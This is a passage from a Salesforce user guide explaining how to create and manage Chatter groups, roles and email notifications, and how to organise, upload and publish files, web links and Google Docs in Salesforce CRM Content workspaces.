Note: The Profile, and People, and Groups tabs are available by default in the Salesforce Chatter app. Select this app
from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you'll
see the tabs in those apps unless you previously customized your display. In that case, you'll need to add the tabs to
those apps.

See Also:
Editing, Changing the Owner, or Deleting Chatter Groups
Viewing Chatter Groups
Using the Recent Files List
Creating Chatter Groups
Adding and Removing Chatter Group Members

253
Salesforce Chatter Creating Chatter Groups

Creating Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To create a Chatter group:

1. Click New Group on the Groups tab.


2. Enter a group name and description.
Note: You own groups you create. To assign a new owner, finish creating the group, then edit the group settings.

3. Select an access level:

• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.

4. Click Save.

See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
Viewing Chatter Group Members

Viewing Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

On the group detail page, you can see details about a group and perform actions depending on the type of group and your
membership status.
From a group detail page, you can:

• Click Join Group to join a public group.


• Click Ask Owner to Join on a private group to view the group owner's profile. You can then ask the owner to add you to
the group.
• Click Leave Group to leave a group.
• View group updates for public groups, and for private groups you're a member of.
• Post and comment in the Chatter feed of groups you're a member of.
• View the group's members by clicking Show All in the Members section.

254
Salesforce Chatter Viewing Chatter Group Members

• View, download, and search files posted to the group in the Recent Files section.

Additionally, as a group manager or owner, you can:

• Edit group settings by clicking Group Settings.


• Add or remove group members by clicking Add/Remove.
• Change member roles by clicking Change Roles.
• Upload or delete a profile photo by clicking Update Photo.

Note: People with the “Modify All Data” permission can upload photos, change member roles, change group owners,
delete posts and comments, and edit group settings for all groups, regardless of membership. However, they can't post
or comment on groups they're not a member of.

See Also:
Creating Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Using the Recent Files List
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members
Viewing Chatter Group Members

Viewing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Members list on a Chatter group detail page shows you all of the members of a group. Click Show All to view the full
list in alphabetical order.
You can filter the list to see only managers or owners. Click Follow or Unfollow next to people's names to start or stop
following them.
Use the Next and Previous links to see more of the list. Click Done to close the window.

See Also:
Adding and Removing Chatter Group Members
Viewing Chatter Groups

255
Salesforce Chatter Using the Recent Files List

Using the Recent Files List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The Recent Files list on a Salesforce Chatter group shows the five most recent files posted to that group. You can preview or
download files directly from this list.
To see a list of all the files posted to a group or to search for a specific file, click Show All. You can preview, download, sort,
or search for files. If you can't find the file you're looking for, enter characters of the name of the file in Search files...
and click Go!. The search results are filtered based on the characters entered. Only files you have access to are listed in the
Files Shared with list. For example, you won't see files from groups you're not a member of.
Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.

See Also:
Salesforce Chatter Groups Overview

Editing, Changing the Owner, or Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To edit settings for Chatter groups you own or manage:

1. Click Group Settings on a group detail page.


2. Optionally type a name or use the lookup icon to search for a new Owner. Only the current owner or people with the
“Modify All Data” permission can change the owner.
3. Optionally edit the group name and description.
4. Optionally change the access level:

• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.

If you change a private group to public, updates and files will be visible to all users and anyone will be able to join the
group.
5. Click Save.

256
Salesforce Chatter Chatter Group Roles Overview

Group owners and users with the “Modify All Data” permission can click Delete to delete the group. Deleting a group
permanently deletes the updates of the group. It also deletes all files and links posted to the group and removes the files from
other locations where they were shared.

See Also:
Creating Chatter Groups
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members

Chatter Group Roles Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The following table describes the actions that can be performed by members, managers, and owners of Chatter groups.

Action Member Manager Owner


Post and comment Yes Yes Yes
Change member roles Yes Yes
Edit group settings Yes Yes
Add and remove members Yes Yes
Delete posts and comments Yes Yes
Delete group Yes
Change group owner Yes

Note: People with the “Modify All Data” permission can upload photos, change member roles, change group owners,
delete posts and comments, and edit group settings for all groups, regardless of membership. However, they can't post
or comment on groups they're not a member of.

See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Adding and Removing Chatter Group Members

257
Salesforce Chatter Changing Chatter Group Roles

Changing Chatter Group Roles


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To change Chatter group roles for groups you own or manage:

1. Click Change Roles on a group detail page.


2. To search for members, start typing in the search box. Optionally sort the list by toggling between Managers and All
Members.
3. Select the Manager checkbox for people you want to be managers.
Note: To change the group owner, you must own the group or have the “Modify All Data” permission. Click the
Group Settings link next to the current owner to assign a new owner.

4. Click Done.

See Also:
Viewing Chatter Groups
Salesforce Chatter Groups Overview
Viewing Chatter Group Members
Adding and Removing Chatter Group Members

Adding and Removing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To add or remove members for Chatter groups you own or manage:

1. Click Add/Remove on a group detail page.


2. Optionally search for people using the search box at the top. You can also toggle between Members of the group and
Everyone in your Salesforce.com organization.
3. Click Add to add a member, or click X to remove a member.
4. Click Done when you're finished.

Note: Anyone can join public groups by clicking Join Group on a group detail page, or Join in the Membership
column on the Groups tab. Members and managers can leave public or private groups by clicking Leave Group on a

258
Salesforce Chatter Editing Salesforce Chatter Email Notifications

group detail page or X in the Membership column on the Groups tab. To be notified when you're added to Chatter
groups, enable email notifications.

See Also:
Viewing Chatter Group Members
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles

Editing Salesforce Chatter Email Notifications


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If your administrator has enabled email notifications, you can choose to receive notifications when Salesforce Chatter activities
occur.

1. Click Setup ➤ My Chatter Settings ➤ My Chatter Emails.


2. Select Receive Emails to receive email notifications.
3. Select the desired checkboxes to receive an email notification when people:

• Follow you
• Post on your profile
• Comment on your status or a change you make, such as a post on a profile
• Comment on posts on your profile
• Comment after you comment in a Chatter feed

4. Click Save.

Consider the following tips for email notifications:

• When Receive Emails is selected, you automatically receive email notifications when you're added to Chatter groups.
• If you select Comments on a post on my profile, you won't receive a notification when someone comments on
changes to your profile by an administrator.
• If you select Comments after me, you will only receive email notifications for up to four comments after you.
• Salesforce Chatter includes limits the number of email notifications that can be sent per organization per hour. These
limits are subject to change at any time.

See Also:
Using Salesforce Chatter
Chatter Feeds Overview

259
Salesforce CRM Content People Tab Overview

People Tab Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The People tab displays a list of the users in your organization. The Profile, and People, and Groups tabs are available by
default in the Salesforce Chatter app. Select this app from the app menu in the top right corner of any page. If your administrator
has added these tabs to other apps, you'll see the tabs in those apps unless you previously customized your display. In that case,
you'll need to add the tabs to those apps.
On the People tab:

• Search for users by typing characters of a first or last name in the search box at the top of the page. The list will automatically
filter based on what you type.
• At the top of the list, click a letter to list everyone whose last name begins with that letter.
• Click a person's name or photo to view his or her profile.
• Click Follow to see a person's status updates in the Chatter feed on the Home tab.
• Click Unfollow to stop seeing a person's status updates in the Chatter feed on the Home tab.

See Also:
Chatter Feeds Overview
Using the Following and Followers Lists
Following People and Records

SALESFORCE CRM CONTENT

Salesforce CRM Content Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key
areas of the Salesforce.com application. Content can include all file types, from traditional business documents such as
Microsoft® PowerPoint presentations to audio files, video files, Web pages, and Google® docs.

Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks:

260
Salesforce CRM Content Salesforce CRM Content Overview

Organizing
Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable
file repositories known as workspaces. Administrators can create multiple workspaces based on any classification, such
as department name, job function, or team, then configure user permissions within the workspace to balance content
access with security. Authors assign descriptive labels called tags to help classify and organize content across workspaces.
You can view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce
CRM Content also provides personal workspaces, which allow users to reduce the clutter on their desktops while using
content-management benefits such as document search and version control.

Searching
The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties
such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file
format, author, tags, workspaces, or custom fields and then view the results with various levels of detail, providing an
easy way to find relevant content quickly. If Salesforce Chatter is enabled for your organization, you can also filter your
search results by Chatter files. The “smart bar” graphic for downloads, comments, ratings, and subscribers allows you to
compare documents within a search result set.

Subscribing
Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published
or changes are made to the file's properties. You can also subscribe to authors, tags, and workspaces, thus reducing the
time spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on
your preferences.

Previewing
In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to
you. The content details page provides document details at a glance, including document title, author, description, tags,
workspaces, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word,
Excel, or Adobe® PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft
Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.

Contributing
Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a
workspace and content type for your file or Web link, write a description, assign one or more tags, and fill out any
customized fields that help categorize and define your content. Version management does not require checking files in
and out, rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible
from the content details page. You can download past versions of a file and read all reason-for-change comments that
an author may have included with a new version.

Reviewing Usage and Providing Feedback


Salesforce CRM Content provides several methods for determining whether content is valuable to readers. Featuring a
piece of content increases its visibility in search results. Voting thumbs up or thumbs down on a file, Web link, or Google
doc and adding comments allow you to participate directly in content improvement. You can also see who has subscribed
to a file, link, or doc and how many times files have been downloaded. The Reports tab allows you to create standard or
custom reports on Salesforce CRM Content data. If the content delivery feature is enabled, you can send content to
colleagues, leads, and contacts and then track how often the content has been previewed or downloaded.

Sharing Content in Salesforce


Salesforce CRM Content is also integrated with leads, accounts, contacts, opportunities, cases, products, and custom
objects. If Salesforce CRM Content functionality is enabled on the Opportunity tab, for example, Salesforce CRM
Content uses the fields on the opportunity detail page to search for files that may be relevant to that opportunity. You
can drill down in the search results as needed or run your own search and then attach one or more files to the opportunity.
The most current version of the file will be available on the detail page for the life of the opportunity.

261
Salesforce CRM Content Salesforce CRM Content Overview

Sharing Content in Salesforce Mobile


Salesforce CRM Content is available in Salesforce Mobile. Users can share content with customers and colleagues from
the mobile application when they're away from their desks. To enable Salesforce CRM Content for the mobile application,
mobilize the content object and specify which content records are synchronized to the mobile device.

Implementation Tips
• To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1156.
• Before creating workspaces, review the files you plan to store in Salesforce CRM Content to determine how many workspaces
you need and what content belongs in each workspace. Users are given access to content based on workspace.
• If you have a large number of Salesforce CRM Content users, create a public group and add the group to a workspace
rather than adding users to the workspace individually.
• To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom
objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page
Layouts on page 1014.
• To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce.com records, add the
Content Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom
objects. For more information about content deliveries and a full list of implementation tips and best practices, see Setting
up Content Deliveries on page 1175.
• To allow users to publish, edit, and search in any of the Salesforce.com-supported languages, go to Setup ➤ Customize
➤ Salesforce CRM Content ➤ Settings and click Enable multi-language search and contribute.
• To associate Google docs with a workspace, the Add Google Doc to Salesforce.com service must be activated for your
organization. For more information, see Activating Google Docs in Salesforce.com on page 302.
• If you want PDFs to open inline rather than in a separate window, go to Setup ➤ Customize ➤ Salesforce CRM Content
➤ Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be previewed.
• Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling
Salesforce CRM Content in the Customer Portal on page 1331 and Enabling Salesforce CRM Content in the Partner Portal
on page 2510.
• For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce
CRM Content on page 272.

Best Practices
• If you are using the Related Content related list on Salesforce.com objects, align your custom content fields with the
standard and custom fields on the object to increase the accuracy of a “Find Content” search. Clicking the Find Content
button on the related list matches content to the fields on the record and displays search results containing the related
content.
• To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by
establishing tag names at the outset, you can avoid having tags such as “channel” and “channels” in the same workspace.
• Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
• To highlight valuable content and make it easier to find, mark it as “featured” on the content details page. Featured content
receives a higher priority than similar content in search results, and appears on the Workspaces tab for easy access. To
feature content, users must have the Feature Content option checked in their workspace permission.
• If your organization uses Google Docs, encourage workspace members to add their Google docs to a workspace. Including
Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply
Salesforce CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.

262
Salesforce CRM Content Managing Workspaces

Managing Workspaces
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create workspaces: “Manage Salesforce CRM Content”
OR
“Create Workspaces”

To edit workspaces: “Manage Salesforce CRM Content”


OR
Manage Workspaces checked in your workspace permission
definition

Clicking the Workspaces tab opens the workspaces home page. On the home page you can access your personal workspace,
create new workspaces in Salesforce CRM Content, choose a specific workspace to view or edit, and analyze workspace usage
and activity. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page
268. The workspaces home page has two tabs: Shared Content, which provides information about shared workspaces, and My
Personal Content, which contains information about your personal workspace.

Shared Content
The Shared Content tab on the workspaces home page contains the following sections:
My Workspaces
This section lists all the workspaces to which you have access. Click a workspace name to view details about that workspace
or click Browse to view a list of all the content in the workspace. Click the New button to create new workspaces, add
users to a workspace, or assign workspace permissions to users. For more information, see Creating Workspaces on page
1171.

Featured Content
This section lists the five pieces of content in your workspaces most recently designed as “featured.” Featured content
receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term
sales asset, any featured files with that term will appear at the top of the search results list. To see all featured
content, click Show All. To toggle a piece of content's feature status on or off, go to its content details page.

Top Content
This section includes lists that summarize content activity across all your workspaces. Each list sorts content according
to specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details
page. In the Top Content section you can choose from the following categories:
• Publication Date—This content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.

263
Salesforce CRM Content Managing Workspaces

• Num Downloads—This content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
• Rating—This content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
• Num Comments—This content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags
This section, commonly referred to as a “tag cloud,” shows you how the content in your workspaces has been labeled.
Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name
to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size
within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You
can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags.

Recent Activity
This section is a snapshot of activity within your workspaces. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.

Most Active Contributors


This section shows the authors who have published content into your workspaces most frequently. The names increase
in size according to activity, so the largest names are the authors who have contributed the most content.

My Personal Content
The My Personal Content tab on the workspaces home page is your private workspace. When you upload or create content
and do not select a public workspace, your content is stored in your private workspace. You can publish content to a public
workspace at any time or leave content in your private workspace indefinitely. Content in your private workspace can be
assembled in content packs and custom presentations. It can also be sent to leads and contacts outside your organization using
the content delivery feature. See Setting up Content Deliveries on page 1175 for more information. The My Personal Content
tab has the following sections:
Personal Workspace
If you choose the Save to my personal workspace option when publishing a file, Web link, content pack, or Google
doc, your content is saved here. You can publish or delete files from this list or click the file's name to view its content
details page. The following options that are available on the content details page for shared content are not available for
personal-workspace content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom
fields. If you publish a file from the Personal Workspace list and click Cancel during the publishing process, your file
is deleted.

Upload Interrupted
If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file
you were uploading is saved here. Click Publish to publish the file to a public workspace or save it to your personal
workspace. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

264
Salesforce CRM Content Viewing and Editing Workspaces

Revision Upload Interrupted


If an error occurs when you are uploading a new version of a file, the file you were uploading is saved here. Users can
continue to access the original version. Click Publish to publish the file to a public workspace or save it to your personal
workspace. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

See Also:
Creating Workspaces
Managing Workspace Permissions
Viewing and Editing Workspaces
Uploading and Publishing Content
Searching for Content
Creating Content Deliveries

Viewing and Editing Workspaces


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit a workspace: “Manage Salesforce CRM Content”
OR
Manage Workspaces checked in your workspace permission
definition

To add or remove workspace members: “Manage Salesforce CRM Content”


OR
Manage Workspaces checked in your workspace permission
definition

Once you have located a Salesforce CRM Content workspace in the My Workspaces area of the Workspaces tab home page
or on a content details page, click the workspace name to display detailed information. For details about the publishing options
at the top of the page, see Uploading and Publishing Content on page 268.
From the workspace title area, you can click the following quick links:

• Browse to view search results showing all the content in the workspace.
• Edit to change the workspace name or description.
• Delete to delete an empty workspace. If you want to delete a workspace that contains content, you must first move the
content to another workspace or delete it and empty the Recycle Bin.
Note: If your Recycle Bin is empty and you are unable to delete the workspace, another user's Recycle Bin may
contain deleted content from the same workspace. A workspace cannot be deleted until all its content is permanently
deleted or moved to another workspace.

265
Salesforce CRM Content Viewing and Editing Workspaces

• Edit Members to add or remove workspace members or change their workspace permission.
• Tagging Rules to change the tagging method permitted in the workspace.
• Content Types to restrict the content types available to workspace contributors.
• View Archived Content to view a list of archived content in the workspace. If you do not have the Archive Content
or Manage Workspaces privilege in your workspace permission, the archived content list only contains content that you
authored and archived, not content that other authors archived.

The workspace detail page contains the following sections:


Members
This section lists all the Salesforce CRM Content users who are members of the workspace. To limit the member list,
enter a username and click Filter. You can filter by the beginning of a username but not the last name.
To add new members to the workspace:

1. Click Add Members.


2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
3. Select members from the Available Members box. Members can include individual Salesforce CRM Content users
or public groups containing Salesforce CRM Content users.
Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group
to a workspace rather than adding users to the workspace individually.

4. Click Add to add the members to the workspace.


5. Click Next.
6. Select a workspace permission for each user or public group and click Save.

To remove a member from the workspace, click Remove. To change a member's workspace permission, click Edit and
choose a new workspace permission from the drop-down list.

Featured Content
This section lists the five pieces of content in the workspace most recently designated as “featured.” If no content has
been featured, this section does not display. Featured content receives a higher priority than similar content in search
results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will
appear at the top of the search results list. To see all featured content, click Show All. To toggle the feature status on or
off, go to its content details page.

Top Content
This section includes lists that summarize content activity in your workspace. Within a list, click a file icon to download
the content or click the title to open the associated content details page. In the Top Content section you can choose
from the following categories:

• Publication Date—This content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
• Num Downloads—This content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.

266
Salesforce CRM Content Viewing and Editing Workspaces

• Rating—This content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
• Num Comments—This content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags
This “tag cloud” shows you how the content in your workspace has been labeled. Tags are descriptive terms assigned
during upload or revision that help classify and organize content. Click a tag name to view search results containing all
the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to
popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags
alphabetically or by popularity. The tag cloud contains the 30 most popular tags.

Recent Activity
This section is a snapshot of activity within your workspace. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.

Most Active Contributors


This section shows the authors who have uploaded content into your workspace most frequently. The names increase
in size according to activity, so the largest names are the authors who have contributed the most content.

See Also:
Managing Workspaces
Creating Workspaces
Assigning Workspace Tagging Rules
Restricting Content Types
Searching for Content
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content

267
Salesforce CRM Content Uploading and Publishing Content

UPLOADING AND PUBLISHING

Uploading and Publishing Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload and publish files and Web links: Manage Workspaces checked in your workspace permission
definition
OR
Add Content checked in your workspace permission
definition
To create and publish content presentations: Manage Workspaces checked in your workspace permission
definition
OR
Add Content checked in your workspace permission
definition
To create and publish Google docs: Google Apps account

The Workspaces tab has several publishing-related options at the top of the page that let you upload, classify, and publish
files, content packs, Web links, and Google docs in Salesforce CRM Content.
Note: The Add Google Doc drop-down list on the Workspaces tab only displays if your administrator has enabled
the Add Google Doc to Salesforce.com service. For more information, see Activating Google Docs in Salesforce.com
on page 302. For information about associating Google docs with Salesforce CRM Content from your Google Apps
account, see Installing the Add Google Doc to Salesforce.com Browser Button on page 307.

To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content presentations and content
packs, refer to the following topics:

• Contributing Files to Salesforce CRM Content


• Contributing Web Links to Salesforce CRM Content
• Contributing Google Docs to Salesforce CRM Content
• Creating and Modifying Presentations in Salesforce CRM Content

268
Salesforce CRM Content Contributing Files to Salesforce CRM Content

• Creating and Modifying Content Packs in Salesforce CRM Content

See Also:
Using Google Docs in Salesforce.com
Searching for Content
Updating Content Versions

Contributing Files to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload and publish files to a public workspace: Manage Workspaces checked in your workspace permission
definition
OR
Add Content checked in your workspace permission
definition
To upload and save files to a personal workspace: None

To publish a file in Salesforce CRM Content:

1. Click the Workspaces tab.


2. To publish a new file, click Browse and select the file. To publish a file that is already in your personal workspace, click
the My Personal Content tab, locate the file, and then click Publish.
Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content
tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog.
Complete the following steps for each tab in the Save or Publish Content dialog.

3. Assign a title and description to your file.


4. Choose a workspace. This becomes the managing (home) workspace, meaning that the content can be shared with another
workspace but only revised by a user with author permissions in the managing workspace. If you do not want the content
to be visible to other users in your organization, for example if your work is still in progress, choose Save in my personal
workspace.
5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
6. To publish the content on behalf of another author, choose that author from the drop-down list.
7. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:

• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags

269
Salesforce CRM Content Contributing Web Links to Salesforce CRM Content

list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.

Note: Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum
of 5,000 new versions per 24–hour period. Developer Edition and trial users can publish a maximum of 2,500 new
versions per 24–hour period.

See Also:
Uploading and Publishing Content
Managing Workspaces
Contributing Web Links to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content

Contributing Web Links to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To publish Web links in Salesforce CRM Content: Manage Workspaces checked in your workspace permission
definition
OR
Add Content checked in your workspace permission
definition

To classify and publish a Web link in Salesforce CRM Content:

1. Click the Workspaces tab.


2. To add a new link, click Contribute ➤ Do you want to link to a website instead?, then enter the URL, and click Contribute.
To publish a link that is already in your personal workspace, click the My Personal Content tab, locate the link, and click
Publish.

270
Salesforce CRM Content Contributing Web Links to Salesforce CRM Content

Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content
tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog.
Complete the following steps for each tab in the Save or Publish Content dialog.

3. Assign a title and description to your Web link.


4. Choose a workspace. This becomes the managing (home) workspace, meaning that the Web link can be shared with
another workspace but its content details page can only be edited by a user with relevant permissions in the managing
workspace. If you do not want the link to be visible to other users in your organization, choose Save in my personal
workspace.
5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
6. To publish the content on behalf of another author, choose that author from the drop-down list.
7. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:

• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.

See Also:
Uploading and Publishing Content
Contributing Files to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content

271
Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content


Salesforce CRM Content is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Google Docs is available in all editions

User Permissions Needed


Creating a Google doc and linking it to a Salesforce CRM Workspace member with a workspace permission that permits
Content workspace: contributing content
AND
Google Apps account

With Google Docs™, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and
see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content
allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the
feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions.
Note: The Add Google Doc drop-down list on the Workspaces tab only displays if your administrator has enabled
the Add Google Doc to Salesforce.com service. For more information, see Activating Google Docs in Salesforce.com
on page 302. For information about associating Google docs with Salesforce CRM Content from your Google Apps
account, see Installing the Add Google Doc to Salesforce.com Browser Button on page 307.

Adding New Google Docs to a Salesforce CRM Content Workspace


1. On the Workspaces tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc
drop-down button. You may be prompted to log in to Google Apps.
2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens
and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens.
3. In the Save or Publish Content dialog:
a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who
view the doc's content details page in Salesforce CRM Content.
b. Choose a workspace. If you do not want to put the doc in a public workspace, for example if the doc is still in progress,
choose Save in my personal workspace.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
